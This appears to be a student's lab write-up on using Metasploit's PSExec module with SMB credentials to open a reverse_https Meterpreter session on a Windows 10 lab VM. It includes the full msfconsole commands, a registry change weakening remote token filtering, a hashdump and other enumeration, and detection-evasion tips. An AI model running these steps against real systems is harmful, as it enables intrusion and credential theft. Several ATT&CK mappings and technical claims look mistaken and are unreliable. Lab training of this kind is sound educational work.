😱Main DOC 😱

💻Lab Setup💻

1. Ensure you have valid champuser credentials for the Windows 10 VM
2. Configure the Windows 10 VM to allow PSExec by adding the required registry key:
   • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

---

3. Disable the Windows Firewall on the target VM for this lab exercise

🌲Steps🌲

1. Search for and configure the PSExec module in Metasploit⚡
2. Set all required options (RHOST, SMBUSER, SMBPASS) and verify with show options⚡
3. Use a Meterpreter payload: windows/x64/meterpreter/reverse_https⚡
4. Use a non-default port (not 4444) to avoid triggering common alerts⚡
5. Execute the module and verify the Meterpreter session is established⚡
6. Run getuid to confirm your user security context⚡
7. Execute the following enumeration commands in Meterpreter and document each:⚡
   • ipconfig
   • sysinfo
   • ps
   • netstat -an
   • 5 additional enumeration commands of your choice

🌹Kali Machine🌹

⚡Set up PSExec in Metasploit⚡

• msfconsole -q
  • use exploit/windows/smb/psexec
  • set payload windows/x64/meterpreter/reverse_https
  • set RHOST 10.0.17.66
  • set SMBUSER champuser
  • set SMBPASS <champuser's password>
  • set LHOST 10.0.17.49
  • set LPORT 8443
  • exploit

💯Submission💯

• Submit the following for each of the 9 commands:
  1. the exact command you ran,
  2. a video clip of YOUR enumeration executions,
  3. an explanation paragraph describing what the output reveals to an attacker
  4. the MITRE ATT&CK technique ID. Also submit: a video of the PSExec module execution establishing the session, and a video of the screenshare module showing the Windows 10 desktop.

Enumeration LOLBIN	Command Executed	What it reveals to an attacker.	MITRE ATT&CK technique ID
ipconfig	ipconfig	Shows an attacker the users basic network config	T1016
sysinfo	sysinfo	Shows an attacker a comprehensive layout of the users hardware and software config.	T1082
ps	ps	Shows attackers exactly what services are running.	T1059.001
netstat	netstat -an	Shows an attacker active network connections, open listening ports, and routing details.	T1049
getsid	getsid	Reveals the user's SID to an attacker.	T1548.001
hashdump	hashdump	Reveals windows user account names and their password hashes.	T1003
idle time	idletime	Reveals how long a system or user session has been inactive.	T1497.003
arp	arp	Shows an attacker the local ARP table.	T1557.002
route	route	Reveals the machines internal network pathways, default gateway, and directly connected subnets.	T1016

⚡Ipconfig⚡

⚡sysinfo⚡

⚡ps⚡

⚡netstat⚡

⚡getsid⚡

⚡hashdump⚡

⚡idletime⚡

⚡arp⚡

⚡route⚡

❓Questions❓

1. Why would you use reverse_https instead of reverse_tcp?
   • You would use reverse_https instead of reverse_tcp because it blends more seamlessly into network traffic. Reverse_tcp converts the traffic into plaintext which makes it easier to see the meterpreter session running.
2. Why is using a non-default port important for operational security?
   • Using a non-default port is important for operational security because it prevents easy detection from security systems. Default ports are often checked by IDS which make using them in a meterpreter session an unnecessary risk.
3. Which of the 9 enumeration commands revealed the most valuable information for lateral movement and why?
   • I think that both arp and sysinfo revealed the most valuable information for lateral movement. The arp command shows us all the other hosts that the infected device has connected to without sending any additional packets out. The sysinfo command also revealed a good amount of information about the infected devices architecture.
4. How does the getuid output confirm the stolen credential attack was successful?
   • The getiud output returns NT AUTHORITY\SYSTEM which confirms to us that the credentials we input into PSExec were valid and therefore excepted by the SMB service.

Sources

• Working with Payloads